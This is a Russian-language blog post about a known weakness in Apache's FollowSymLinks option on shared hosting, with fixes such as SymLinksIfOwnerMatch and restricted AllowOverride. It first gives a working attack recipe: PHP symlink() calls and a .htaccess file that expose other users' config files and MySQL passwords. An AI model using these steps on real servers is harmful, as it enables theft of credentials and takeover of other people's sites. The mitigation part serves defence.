Взлом сайтов через FollowSymLinks

в 22:00, , рубрики: Песочница, метки: ,

Плюсам FollowSymLinks уделено немало статей, я хочу поведать об опасности его неправильной настройки.

Речь пойдет о серверах под Apache.

FollowSymLinks — инструмент «второго взлома». Нужен как минимум аккаунт (свой или взломанный на сервере) и желательно php.

Что делает FollowSymLinks? Делает при просмотре в браузере ссылку (symlink) идентичной файлу, на который она указывает. Плохо то, что FollowSymLinks никак не проверяет кому принадлежит файл. При этом сам Apache, имеет доступ к веб файлам всех пользователей.

Приступим!

Смотрим какой у нас путь к нашему скрипту на сайте (http://nash.site/)
пусть это будет /home/nash/public_html/view/some.php

сначала пробуем получить список директорий из /home/ средствами php
и находим там три каталога:
vasja
petja
kostja

Пишем в наш some.php:
symlink ('/home/vasja/public_html/nidex.php', 'vasja.txt');
symlink ('/home/petja/public_html/nidex.php', 'petja.txt');
symlink ('/home/kostja/public_html/nidex.php', 'kostja.txt');
Вызываем nash.site/some.php, получаем три симлинка.

Создаем в нашем каталоге view .htaccess с содержанием:
Options all
Options +Indexes
Options -SymLinksIfOwnerMatch
Options +FollowSymLinks
DirectoryIndex other.html

И пытаемся посмотреть в браузере
nash.site/view/

Если три других пользователя имеют сайты на php и сервер уязвим, то с большей вероятностью кликнув на .txt файлы вы сможете прочитать содержимое их index.php

Получилось? Делаем symlink на «config.php/wp-conwig.php/settings.php» в их каталогах, получаем пароли к mysql. Устанавливаем adminer, подключаемся к базе. Этого достаточно что-бы сломать почти любой сайт на уязвимом сервере.

Как решить проблему?
Использовать не FollowSymLinks, а ее аналог SymLinksIfOwnerMatch, который проверяет владельца файла и симлинка.

И всё? Так просто?
Нет. При «AllowOverride All» пользователь может отключить SymLinksIfOwnerMatch и включить FollowSymLinks. Придется писать неудобные конструкции вместо «AllowOverride All»:

AllowOverride AuthConfig FileInfo Indexes Limit Options=Indexes,Includes,IncludesNOEXEC,SymLinksIfOwnerMatch,MultiViews,None

это, правда, заставит «вылетать» сайты пользователей у кого прописано

Options +FollowSymLinks

в .htaccess. А таких много. Почти все, кто на Joomla/Drupal.

Есть еще вариант с патчем для apache, что бы он считал все FollowSymLinks, как SymLinksIfOwnerMatch. Таким путем пошел directadmin и возможно, также другие панели управления. Буду рад, если поможете собрать информацию.

Итог. Уязвимость старая, требует аккаунт на сервере. Встречается часто и позволяет скомпрометировать почти весь сервер.

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js